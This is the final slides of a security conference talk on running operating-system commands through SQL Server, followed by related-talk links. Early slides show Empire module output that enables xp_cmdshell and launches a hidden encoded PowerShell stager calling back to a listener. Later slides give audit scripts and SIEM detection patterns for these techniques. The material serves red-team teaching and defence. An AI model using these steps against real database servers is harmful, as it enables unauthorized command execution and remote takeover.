(Empire: powershell/lateral_movement/invoke_sqloscmd) > run
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
Job started: 6KVEUC
sql-2012.test.local : Connection Success.
sql-2012.test.local : You are a sysadmin.
sql-2012.test.local : Show Advanced Options is disabled.
sql-2012.test.local : Enabled Show Advanced Options.
sql-2012.test.local : xp_cmdshell is disabled.
sql-2012.test.local : Enabled xp_cmdshell.
sql-2012.test.local : Running command: whoami
nt servicemssqlserver
sql-2012.test.local : Disabling xp_cmdshell
sql-2012.test.local : Disabling Show Advanced Options
127 Confidential & Proprietary
BEYOND XP_CMDSHELL: EMPIRE MODULES
127
Module 3
 Example screenshot
(Empire: powershell/lateral_movement/invoke_sqloscmd) > unset Command
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Listener http
(Empire: powershell/lateral_movement/invoke_sqloscmd) > run
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
Job started: X3U26K
[+] Initial agent 59BNMXTA from 192.168.1.195 now active
sql-2012.test.local : Connection Success.
sql-2012.test.local : You are a sysadmin.
sql-2012.test.local : Show Advanced Options is disabled.
sql-2012.test.local : Enabled Show Advanced Options.
sql-2012.test.local : xp_cmdshell is disabled.
sql-2012.test.local : Enabled xp_cmdshell.
sql-2012.test.local : Running command:
C:WindowsSystem32WindowsPowershellv1.0powershell.exe -NoP -sta -NonI -W Hidden -Enc
[TRUNCATED]
sql-2012.test.local : Disabling xp_cmdshell
sql-2012.test.local : Disabling Show Advanced Options
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
128 Confidential & Proprietary128 Confidential & Proprietary
AUDIT
COMMAND
EXECUTION
I Feel like I’m
missing something?
129 Confidential & Proprietary
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION
129
You have the power
to change that.
What can
I do?
130 Confidential & Proprietary
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION
130
You need to audit
and alert on that sh*t.
131 Confidential & Proprietary
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION
131
Let’s do it!
1. Create Server Audit
2. Create Server Audit Specification
3. Create Database Audit Specification
132 Confidential & Proprietary
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION
132
Auditing – Code – TSQL – Create Server Audit
-- Create and enable an audit
USE master
CREATE SERVER AUDIT DerbyconAudit
TO APPLICATION_LOG
WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE)
ALTER SERVER AUDIT DerbyconAudit
WITH (STATE = ON)
Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.110).aspx
133 Confidential & Proprietary
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION
133
Auditing – Code – TSQL – Create Server Specification
-- Server: Audit server configuration changes
CREATE SERVER AUDIT SPECIFICATION [Audit_Server_Configuration_Changes]
FOR SERVER AUDIT DerbyconAudit
ADD (AUDIT_CHANGE_GROUP), -- Audit Audit changes
ADD (SERVER_OPERATION_GROUP) -- Audit server changes
WITH (STATE = ON)
Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.110).aspx
134 Confidential & Proprietary
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION
134
Auditing – Code – TSQL – Create Database Specification
-- DATABASE: Audit common agent job activity
Use msdb
CREATE DATABASE AUDIT SPECIFICATION [Audit_Agent_Jobs]
FOR SERVER AUDIT [DerbyconAudit]
ADD (EXECUTE ON OBJECT::[dbo].[sp_add_job] BY [dbo])
WITH (STATE = ON)
-- DATABASE: Audit potentially dangerous procedures
use master
CREATE DATABASE AUDIT SPECIFICATION [Audit_OSCMDEXEC]
FOR SERVER AUDIT [DerbyconAudit]
ADD (EXECUTE ON OBJECT::[dbo].[xp_cmdshell] BY [dbo]),
ADD (EXECUTE ON OBJECT::[dbo].[sp_addextendedproc] BY [dbo]),
ADD (EXECUTE ON OBJECT::[dbo].[sp_execute_external_script] BY [dbo]), -- 2016 and
later
ADD (EXECUTE ON OBJECT::[dbo].[Sp_oacreate] BY [dbo]),
ADD (EXECUTE ON OBJECT::[dbo].[sp_add_trusted_assembly] BY [dbo]), -- 2017
ADD (EXECUTE ON OBJECT::[dbo].[xp_regwrite] BY [dbo])
WITH (STATE = ON)
Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.110).aspx
135 Confidential & Proprietary
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION
135
SIEM Cheatsheet
Windows Application Log
Event ID: 15457
Description: Server configuration changes.
- Configuration option 'external scripts enabled' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'Ole Automation Procedures' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'clr enabled' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'clr strict security' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'Ad Hoc Distributed Queries' changed from 0 to 1. Run the RECONFIGURE statement to install.
136 Confidential & Proprietary
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION
136
SIEM Cheatsheet
Windows Application Log
Event ID: 33205
Description: Agent and database level changes.
- msdb.dbo.sp_add_job Watch for potentially malicious ActiveX, cmdexec, and powershell jobs.
- sp_execute_external_script Watch for cmd.exe and similar calls.
- sp_OACreate Watch for Sp_oacreate 'wscript.shell’ and similar calls
- sp_addextendedproc Watch for any usage
- sp_add_trusted_assembly Watch for unauthorized usage
137 Confidential & Proprietary137 Confidential & Proprietary
TAKE AWAYS
138 Confidential & Proprietary
BEYOND XP_CMDSHELL: TAKE AWAYS
138
Take Aways
1. xp_cmdshell is NOT the only OS command execution option
2. SQL Server can be used as a beach head to help avoid detection
during domain escalation and red team engagements
3. Empire and PowerUpSQL have modules/functions to support some
of the attacks and auditing
4. Every technique can be logged, but most people don’t
 We can be better!
139 Confidential & Proprietary
BEYOND XP_CMDSHELL: TAKE AWAYS
139
You got this!You got this!
QUESTIONS?
http://slideshare.net/nullbind/
@0xbadjuju
@_nullbind
140 Confidential & Proprietary
BEYOND XP_CMDSHELL: TAKE AWAYS
140
http://slideshare.net/nullbind/
@0xbadjuju
@_nullbind
Let’s do it!Let’s do it!
QUESTIONS?
MINNEAPOLIS | NEW YORK | PORTLAND | DENVER | DALLAS
Empowering enterprises to scale & operationalize their
security programs, globally.

More Related Content

What's hot

DerbyCon2016 - Hacking SQL Server on Scale with PowerShell
DerbyCon2016 - Hacking SQL Server on Scale with PowerShellDerbyCon2016 - Hacking SQL Server on Scale with PowerShell
DerbyCon2016 - Hacking SQL Server on Scale with PowerShell
Scott Sutherland
 
Beyond xp_cmdshell: Owning the Empire through SQL Server
Beyond xp_cmdshell: Owning the Empire through SQL ServerBeyond xp_cmdshell: Owning the Empire through SQL Server
Beyond xp_cmdshell: Owning the Empire through SQL Server
Scott Sutherland
 
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
Scott Sutherland
 
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
Scott Sutherland
 
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 201510 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
Scott Sutherland
 
Slides Cassandra
Slides CassandraSlides Cassandra
Slides Cassandra
hamidd77
 
Db Security Seminar AppArmor
Db Security Seminar AppArmorDb Security Seminar AppArmor
Db Security Seminar AppArmor
AmirAshnavar
 
Introduction To Windows Power Shell
Introduction To Windows Power ShellIntroduction To Windows Power Shell
Introduction To Windows Power Shell
Microsoft TechNet
 
Introduction to MariaDb
Introduction to MariaDbIntroduction to MariaDb
Introduction to MariaDb
BehzadDara
 
How to create a multi tenancy for an interactive data analysis
How to create a multi tenancy for an interactive data analysisHow to create a multi tenancy for an interactive data analysis
How to create a multi tenancy for an interactive data analysis
Tiago Simões
 
How to scheduled jobs in a cloudera cluster without oozie
How to scheduled jobs in a cloudera cluster without oozieHow to scheduled jobs in a cloudera cluster without oozie
How to scheduled jobs in a cloudera cluster without oozie
Tiago Simões
 
How to create a secured cloudera cluster
How to create a secured cloudera clusterHow to create a secured cloudera cluster
How to create a secured cloudera cluster
Tiago Simões
 
State of Solr Security 2016: Presented by Ishan Chattopadhyaya, Lucidworks
State of Solr Security 2016: Presented by Ishan Chattopadhyaya, LucidworksState of Solr Security 2016: Presented by Ishan Chattopadhyaya, Lucidworks
State of Solr Security 2016: Presented by Ishan Chattopadhyaya, Lucidworks
Lucidworks
 
How to configure a hive high availability connection with zeppelin
How to configure a hive high availability connection with zeppelinHow to configure a hive high availability connection with zeppelin
How to configure a hive high availability connection with zeppelin
Tiago Simões
 
How to implement a gdpr solution in a cloudera architecture
How to implement a gdpr solution in a cloudera architectureHow to implement a gdpr solution in a cloudera architecture
How to implement a gdpr solution in a cloudera architecture
Tiago Simões
 
Detect and fix the azure sql resources which uses tls version less than 1.2
Detect and fix the azure sql resources which uses tls version less than 1.2Detect and fix the azure sql resources which uses tls version less than 1.2
Detect and fix the azure sql resources which uses tls version less than 1.2
Prancer Io
 
How to use prancer to detect and fix the azure sql resources which uses tls v...
How to use prancer to detect and fix the azure sql resources which uses tls v...How to use prancer to detect and fix the azure sql resources which uses tls v...
How to use prancer to detect and fix the azure sql resources which uses tls v...
Prancer Io
 
PowerShell Technical Overview
PowerShell Technical OverviewPowerShell Technical Overview
PowerShell Technical Overview
allandcp
 
AllegroCache with Web Servers
AllegroCache with Web ServersAllegroCache with Web Servers
AllegroCache with Web Servers
webhostingguy
 
Codemotion 2013: Feliz 15 aniversario, SQL Injection
Codemotion 2013: Feliz 15 aniversario, SQL InjectionCodemotion 2013: Feliz 15 aniversario, SQL Injection
Codemotion 2013: Feliz 15 aniversario, SQL Injection
Chema Alonso
 

What's hot (20)

DerbyCon2016 - Hacking SQL Server on Scale with PowerShell
DerbyCon2016 - Hacking SQL Server on Scale with PowerShellDerbyCon2016 - Hacking SQL Server on Scale with PowerShell
DerbyCon2016 - Hacking SQL Server on Scale with PowerShell
 
Beyond xp_cmdshell: Owning the Empire through SQL Server
Beyond xp_cmdshell: Owning the Empire through SQL ServerBeyond xp_cmdshell: Owning the Empire through SQL Server
Beyond xp_cmdshell: Owning the Empire through SQL Server
 
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
 
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
 
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 201510 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
 
Slides Cassandra
Slides CassandraSlides Cassandra
Slides Cassandra
 
Db Security Seminar AppArmor
Db Security Seminar AppArmorDb Security Seminar AppArmor
Db Security Seminar AppArmor
 
Introduction To Windows Power Shell
Introduction To Windows Power ShellIntroduction To Windows Power Shell
Introduction To Windows Power Shell
 
Introduction to MariaDb
Introduction to MariaDbIntroduction to MariaDb
Introduction to MariaDb
 
How to create a multi tenancy for an interactive data analysis
How to create a multi tenancy for an interactive data analysisHow to create a multi tenancy for an interactive data analysis
How to create a multi tenancy for an interactive data analysis
 
How to scheduled jobs in a cloudera cluster without oozie
How to scheduled jobs in a cloudera cluster without oozieHow to scheduled jobs in a cloudera cluster without oozie
How to scheduled jobs in a cloudera cluster without oozie
 
How to create a secured cloudera cluster
How to create a secured cloudera clusterHow to create a secured cloudera cluster
How to create a secured cloudera cluster
 
State of Solr Security 2016: Presented by Ishan Chattopadhyaya, Lucidworks
State of Solr Security 2016: Presented by Ishan Chattopadhyaya, LucidworksState of Solr Security 2016: Presented by Ishan Chattopadhyaya, Lucidworks
State of Solr Security 2016: Presented by Ishan Chattopadhyaya, Lucidworks
 
How to configure a hive high availability connection with zeppelin
How to configure a hive high availability connection with zeppelinHow to configure a hive high availability connection with zeppelin
How to configure a hive high availability connection with zeppelin
 
How to implement a gdpr solution in a cloudera architecture
How to implement a gdpr solution in a cloudera architectureHow to implement a gdpr solution in a cloudera architecture
How to implement a gdpr solution in a cloudera architecture
 
Detect and fix the azure sql resources which uses tls version less than 1.2
Detect and fix the azure sql resources which uses tls version less than 1.2Detect and fix the azure sql resources which uses tls version less than 1.2
Detect and fix the azure sql resources which uses tls version less than 1.2
 
How to use prancer to detect and fix the azure sql resources which uses tls v...
How to use prancer to detect and fix the azure sql resources which uses tls v...How to use prancer to detect and fix the azure sql resources which uses tls v...
How to use prancer to detect and fix the azure sql resources which uses tls v...
 
PowerShell Technical Overview
PowerShell Technical OverviewPowerShell Technical Overview
PowerShell Technical Overview
 
AllegroCache with Web Servers
AllegroCache with Web ServersAllegroCache with Web Servers
AllegroCache with Web Servers
 
Codemotion 2013: Feliz 15 aniversario, SQL Injection
Codemotion 2013: Feliz 15 aniversario, SQL InjectionCodemotion 2013: Feliz 15 aniversario, SQL Injection
Codemotion 2013: Feliz 15 aniversario, SQL Injection
 

Similar to Beyond XP_CMDSHELL: Owning the Empire Through SQL Server

Abusing MS SQL Using SQLRecon
Abusing MS SQL Using SQLReconAbusing MS SQL Using SQLRecon
Abusing MS SQL Using SQLRecon
Sanjiv Kawa
 
DEF CON 31 Demo Labs 2023: Abusing Microsoft SQL Server with SQLRecon
DEF CON 31 Demo Labs 2023: Abusing Microsoft SQL Server with SQLReconDEF CON 31 Demo Labs 2023: Abusing Microsoft SQL Server with SQLRecon
DEF CON 31 Demo Labs 2023: Abusing Microsoft SQL Server with SQLRecon
Sanjiv Kawa
 
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
Scott Sutherland
 
WMI for Penetration Testers - Arcticcon 2017
WMI for Penetration Testers - Arcticcon 2017WMI for Penetration Testers - Arcticcon 2017
WMI for Penetration Testers - Arcticcon 2017
Alexander Polce Leary
 
Bp307 Practical Solutions for Connections Administrators, tips and scrips for...
Bp307 Practical Solutions for Connections Administrators, tips and scrips for...Bp307 Practical Solutions for Connections Administrators, tips and scrips for...
Bp307 Practical Solutions for Connections Administrators, tips and scrips for...
Sharon James
 
VMworld 2013: Three Quirky Ways to Simplify DR with VMware Site Recovery Manager
VMworld 2013: Three Quirky Ways to Simplify DR with VMware Site Recovery ManagerVMworld 2013: Three Quirky Ways to Simplify DR with VMware Site Recovery Manager
VMworld 2013: Three Quirky Ways to Simplify DR with VMware Site Recovery Manager
VMworld
 
Building Better Backdoors with WMI - DerbyCon 2017
Building Better Backdoors with WMI - DerbyCon 2017Building Better Backdoors with WMI - DerbyCon 2017
Building Better Backdoors with WMI - DerbyCon 2017
Alexander Polce Leary
 
Data Encryption at Rest
Data Encryption at RestData Encryption at Rest
Data Encryption at Rest
All Things Open
 
DBA Tasks in Oracle Autonomous Database
DBA Tasks in Oracle Autonomous DatabaseDBA Tasks in Oracle Autonomous Database
DBA Tasks in Oracle Autonomous Database
SinanPetrusToma
 
WWHF 2018 - Using PowerUpSQL and goddi for Active Directory Information Gathe...
WWHF 2018 - Using PowerUpSQL and goddi for Active Directory Information Gathe...WWHF 2018 - Using PowerUpSQL and goddi for Active Directory Information Gathe...
WWHF 2018 - Using PowerUpSQL and goddi for Active Directory Information Gathe...
ThomasElling1
 
Percona Live 2019 - MySQL Security
Percona Live 2019 - MySQL SecurityPercona Live 2019 - MySQL Security
Percona Live 2019 - MySQL Security
Vinicius M Grippa
 
Automating That "Other" OS
Automating That "Other" OSAutomating That "Other" OS
Automating That "Other" OS
Julian Dunn
 
2018 Writing Offensive .Net Tools
2018 Writing Offensive .Net Tools2018 Writing Offensive .Net Tools
2018 Writing Offensive .Net Tools
Alexander Polce Leary
 
BSides Portland - Attacking Azure Environments with PowerShell
BSides Portland - Attacking Azure Environments with PowerShellBSides Portland - Attacking Azure Environments with PowerShell
BSides Portland - Attacking Azure Environments with PowerShell
Karl Fosaaen
 
Windows Server 2008 (Active Directory Yenilikleri)
Windows Server 2008 (Active Directory Yenilikleri)Windows Server 2008 (Active Directory Yenilikleri)
Windows Server 2008 (Active Directory Yenilikleri)
ÇözümPARK
 
2010 db security
2010 db security2010 db security
2010 db security
Wayne Evans
 
Hacking_PPT
Hacking_PPT Hacking_PPT
Hacking_PPT
Gaurav Gautam
 
2) security
2) security2) security
2) security
guptavikki99
 
SAP strikes back Your SAP server now counter attacks.
SAP strikes back Your SAP server now counter attacks.SAP strikes back Your SAP server now counter attacks.
SAP strikes back Your SAP server now counter attacks.
Dmitry Iudin
 
Mod03 linking and accelerating
Mod03 linking and acceleratingMod03 linking and accelerating
Mod03 linking and accelerating
Peter Haase
 

Similar to Beyond XP_CMDSHELL: Owning the Empire Through SQL Server (20)

Abusing MS SQL Using SQLRecon
Abusing MS SQL Using SQLReconAbusing MS SQL Using SQLRecon
Abusing MS SQL Using SQLRecon
 
DEF CON 31 Demo Labs 2023: Abusing Microsoft SQL Server with SQLRecon
DEF CON 31 Demo Labs 2023: Abusing Microsoft SQL Server with SQLReconDEF CON 31 Demo Labs 2023: Abusing Microsoft SQL Server with SQLRecon
DEF CON 31 Demo Labs 2023: Abusing Microsoft SQL Server with SQLRecon
 
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
 
WMI for Penetration Testers - Arcticcon 2017
WMI for Penetration Testers - Arcticcon 2017WMI for Penetration Testers - Arcticcon 2017
WMI for Penetration Testers - Arcticcon 2017
 
Bp307 Practical Solutions for Connections Administrators, tips and scrips for...
Bp307 Practical Solutions for Connections Administrators, tips and scrips for...Bp307 Practical Solutions for Connections Administrators, tips and scrips for...
Bp307 Practical Solutions for Connections Administrators, tips and scrips for...
 
VMworld 2013: Three Quirky Ways to Simplify DR with VMware Site Recovery Manager
VMworld 2013: Three Quirky Ways to Simplify DR with VMware Site Recovery ManagerVMworld 2013: Three Quirky Ways to Simplify DR with VMware Site Recovery Manager
VMworld 2013: Three Quirky Ways to Simplify DR with VMware Site Recovery Manager
 
Building Better Backdoors with WMI - DerbyCon 2017
Building Better Backdoors with WMI - DerbyCon 2017Building Better Backdoors with WMI - DerbyCon 2017
Building Better Backdoors with WMI - DerbyCon 2017
 
Data Encryption at Rest
Data Encryption at RestData Encryption at Rest
Data Encryption at Rest
 
DBA Tasks in Oracle Autonomous Database
DBA Tasks in Oracle Autonomous DatabaseDBA Tasks in Oracle Autonomous Database
DBA Tasks in Oracle Autonomous Database
 
WWHF 2018 - Using PowerUpSQL and goddi for Active Directory Information Gathe...
WWHF 2018 - Using PowerUpSQL and goddi for Active Directory Information Gathe...WWHF 2018 - Using PowerUpSQL and goddi for Active Directory Information Gathe...
WWHF 2018 - Using PowerUpSQL and goddi for Active Directory Information Gathe...
 
Percona Live 2019 - MySQL Security
Percona Live 2019 - MySQL SecurityPercona Live 2019 - MySQL Security
Percona Live 2019 - MySQL Security
 
Automating That "Other" OS
Automating That "Other" OSAutomating That "Other" OS
Automating That "Other" OS
 
2018 Writing Offensive .Net Tools
2018 Writing Offensive .Net Tools2018 Writing Offensive .Net Tools
2018 Writing Offensive .Net Tools
 
BSides Portland - Attacking Azure Environments with PowerShell
BSides Portland - Attacking Azure Environments with PowerShellBSides Portland - Attacking Azure Environments with PowerShell
BSides Portland - Attacking Azure Environments with PowerShell
 
Windows Server 2008 (Active Directory Yenilikleri)
Windows Server 2008 (Active Directory Yenilikleri)Windows Server 2008 (Active Directory Yenilikleri)
Windows Server 2008 (Active Directory Yenilikleri)
 
2010 db security
2010 db security2010 db security
2010 db security
 
Hacking_PPT
Hacking_PPT Hacking_PPT
Hacking_PPT
 
2) security
2) security2) security
2) security
 
SAP strikes back Your SAP server now counter attacks.
SAP strikes back Your SAP server now counter attacks.SAP strikes back Your SAP server now counter attacks.
SAP strikes back Your SAP server now counter attacks.
 
Mod03 linking and accelerating
Mod03 linking and acceleratingMod03 linking and accelerating
Mod03 linking and accelerating
 

More from NetSPI

Application Risk Prioritization - Overview - Secure360 2015 - Part 1 of 2
Application Risk Prioritization - Overview - Secure360 2015 - Part 1 of 2Application Risk Prioritization - Overview - Secure360 2015 - Part 1 of 2
Application Risk Prioritization - Overview - Secure360 2015 - Part 1 of 2
NetSPI
 
All You Need is One - A ClickOnce Love Story - Secure360 2015
All You Need is One -  A ClickOnce Love Story - Secure360 2015All You Need is One -  A ClickOnce Love Story - Secure360 2015
All You Need is One - A ClickOnce Love Story - Secure360 2015
NetSPI
 
Attack All The Layers - What's Working in Penetration Testing
Attack All The Layers - What's Working in Penetration TestingAttack All The Layers - What's Working in Penetration Testing
Attack All The Layers - What's Working in Penetration Testing
NetSPI
 
Extracting Credentials From Windows
Extracting Credentials From WindowsExtracting Credentials From Windows
Extracting Credentials From Windows
NetSPI
 
GPU Cracking - On the Cheap
GPU Cracking - On the CheapGPU Cracking - On the Cheap
GPU Cracking - On the Cheap
NetSPI
 
Attack All the Layers - What's Working in Penetration Testing
Attack All the Layers - What's Working in Penetration TestingAttack All the Layers - What's Working in Penetration Testing
Attack All the Layers - What's Working in Penetration Testing
NetSPI
 
WTF is Penetration Testing
WTF is Penetration TestingWTF is Penetration Testing
WTF is Penetration Testing
NetSPI
 
Introduction to Windows Dictionary Attacks
Introduction to Windows Dictionary AttacksIntroduction to Windows Dictionary Attacks
Introduction to Windows Dictionary Attacks
NetSPI
 
Declaration of Mal(WAR)e
Declaration of Mal(WAR)eDeclaration of Mal(WAR)e
Declaration of Mal(WAR)e
NetSPI
 
Thick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash CourseThick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash Course
NetSPI
 
Fuzzing and You: Automating Whitebox Testing
Fuzzing and You: Automating Whitebox TestingFuzzing and You: Automating Whitebox Testing
Fuzzing and You: Automating Whitebox Testing
NetSPI
 

More from NetSPI (11)

Application Risk Prioritization - Overview - Secure360 2015 - Part 1 of 2
Application Risk Prioritization - Overview - Secure360 2015 - Part 1 of 2Application Risk Prioritization - Overview - Secure360 2015 - Part 1 of 2
Application Risk Prioritization - Overview - Secure360 2015 - Part 1 of 2
 
All You Need is One - A ClickOnce Love Story - Secure360 2015
All You Need is One -  A ClickOnce Love Story - Secure360 2015All You Need is One -  A ClickOnce Love Story - Secure360 2015
All You Need is One - A ClickOnce Love Story - Secure360 2015
 
Attack All The Layers - What's Working in Penetration Testing
Attack All The Layers - What's Working in Penetration TestingAttack All The Layers - What's Working in Penetration Testing
Attack All The Layers - What's Working in Penetration Testing
 
Extracting Credentials From Windows
Extracting Credentials From WindowsExtracting Credentials From Windows
Extracting Credentials From Windows
 
GPU Cracking - On the Cheap
GPU Cracking - On the CheapGPU Cracking - On the Cheap
GPU Cracking - On the Cheap
 
Attack All the Layers - What's Working in Penetration Testing
Attack All the Layers - What's Working in Penetration TestingAttack All the Layers - What's Working in Penetration Testing
Attack All the Layers - What's Working in Penetration Testing
 
WTF is Penetration Testing
WTF is Penetration TestingWTF is Penetration Testing
WTF is Penetration Testing
 
Introduction to Windows Dictionary Attacks
Introduction to Windows Dictionary AttacksIntroduction to Windows Dictionary Attacks
Introduction to Windows Dictionary Attacks
 
Declaration of Mal(WAR)e
Declaration of Mal(WAR)eDeclaration of Mal(WAR)e
Declaration of Mal(WAR)e
 
Thick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash CourseThick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash Course
 
Fuzzing and You: Automating Whitebox Testing
Fuzzing and You: Automating Whitebox TestingFuzzing and You: Automating Whitebox Testing
Fuzzing and You: Automating Whitebox Testing
 

Recently uploaded

Overcoming the PLG Trap: Lessons from Canva's Head of Sales & Head of EMEA Da...
Overcoming the PLG Trap: Lessons from Canva's Head of Sales & Head of EMEA Da...Overcoming the PLG Trap: Lessons from Canva's Head of Sales & Head of EMEA Da...
Overcoming the PLG Trap: Lessons from Canva's Head of Sales & Head of EMEA Da...
saastr
 
Fueling AI with Great Data with Airbyte Webinar
Fueling AI with Great Data with Airbyte WebinarFueling AI with Great Data with Airbyte Webinar
Fueling AI with Great Data with Airbyte Webinar
Zilliz
 
Your One-Stop Shop for Python Success: Top 10 US Python Development Providers
Your One-Stop Shop for Python Success: Top 10 US Python Development ProvidersYour One-Stop Shop for Python Success: Top 10 US Python Development Providers
Your One-Stop Shop for Python Success: Top 10 US Python Development Providers
akankshawande
 
HCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAUHCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAU
panagenda
 
Crafting Excellence: A Comprehensive Guide to iOS Mobile App Development Serv...
Crafting Excellence: A Comprehensive Guide to iOS Mobile App Development Serv...Crafting Excellence: A Comprehensive Guide to iOS Mobile App Development Serv...
Crafting Excellence: A Comprehensive Guide to iOS Mobile App Development Serv...
Pitangent Analytics & Technology Solutions Pvt. Ltd
 
GNSS spoofing via SDR (Criptored Talks 2024)
GNSS spoofing via SDR (Criptored Talks 2024)GNSS spoofing via SDR (Criptored Talks 2024)
GNSS spoofing via SDR (Criptored Talks 2024)
Javier Junquera
 
GraphRAG for LifeSciences Hands-On with the Clinical Knowledge Graph
GraphRAG for LifeSciences Hands-On with the Clinical Knowledge GraphGraphRAG for LifeSciences Hands-On with the Clinical Knowledge Graph
GraphRAG for LifeSciences Hands-On with the Clinical Knowledge Graph
Neo4j
 
Introduction of Cybersecurity with OSS at Code Europe 2024
Introduction of Cybersecurity with OSS  at Code Europe 2024Introduction of Cybersecurity with OSS  at Code Europe 2024
Introduction of Cybersecurity with OSS at Code Europe 2024
Hiroshi SHIBATA
 
"Frontline Battles with DDoS: Best practices and Lessons Learned", Igor Ivaniuk
"Frontline Battles with DDoS: Best practices and Lessons Learned",  Igor Ivaniuk"Frontline Battles with DDoS: Best practices and Lessons Learned",  Igor Ivaniuk
"Frontline Battles with DDoS: Best practices and Lessons Learned", Igor Ivaniuk
Fwdays
 
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdfHow to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
Chart Kalyan
 
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAUHCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
panagenda
 
"Choosing proper type of scaling", Olena Syrota
"Choosing proper type of scaling", Olena Syrota"Choosing proper type of scaling", Olena Syrota
"Choosing proper type of scaling", Olena Syrota
Fwdays
 
What is an RPA CoE? Session 1 – CoE Vision
What is an RPA CoE?  Session 1 – CoE VisionWhat is an RPA CoE?  Session 1 – CoE Vision
What is an RPA CoE? Session 1 – CoE Vision
DianaGray10
 
Mutation Testing for Task-Oriented Chatbots
Mutation Testing for Task-Oriented ChatbotsMutation Testing for Task-Oriented Chatbots
Mutation Testing for Task-Oriented Chatbots
Pablo Gómez Abajo
 
Energy Efficient Video Encoding for Cloud and Edge Computing Instances
Energy Efficient Video Encoding for Cloud and Edge Computing InstancesEnergy Efficient Video Encoding for Cloud and Edge Computing Instances
Energy Efficient Video Encoding for Cloud and Edge Computing Instances
Alpen-Adria-Universität
 
JavaLand 2024: Application Development Green Masterplan
JavaLand 2024: Application Development Green MasterplanJavaLand 2024: Application Development Green Masterplan
JavaLand 2024: Application Development Green Masterplan
Miro Wengner
 
Essentials of Automations: Exploring Attributes & Automation Parameters
Essentials of Automations: Exploring Attributes & Automation ParametersEssentials of Automations: Exploring Attributes & Automation Parameters
Essentials of Automations: Exploring Attributes & Automation Parameters
Safe Software
 
June Patch Tuesday
June Patch TuesdayJune Patch Tuesday
June Patch Tuesday
Ivanti
 
[OReilly Superstream] Occupy the Space: A grassroots guide to engineering (an...
[OReilly Superstream] Occupy the Space: A grassroots guide to engineering (an...[OReilly Superstream] Occupy the Space: A grassroots guide to engineering (an...
[OReilly Superstream] Occupy the Space: A grassroots guide to engineering (an...
Jason Yip
 
Y-Combinator seed pitch deck template PP
Y-Combinator seed pitch deck template PPY-Combinator seed pitch deck template PP
Y-Combinator seed pitch deck template PP
c5vrf27qcz
 

Recently uploaded (20)

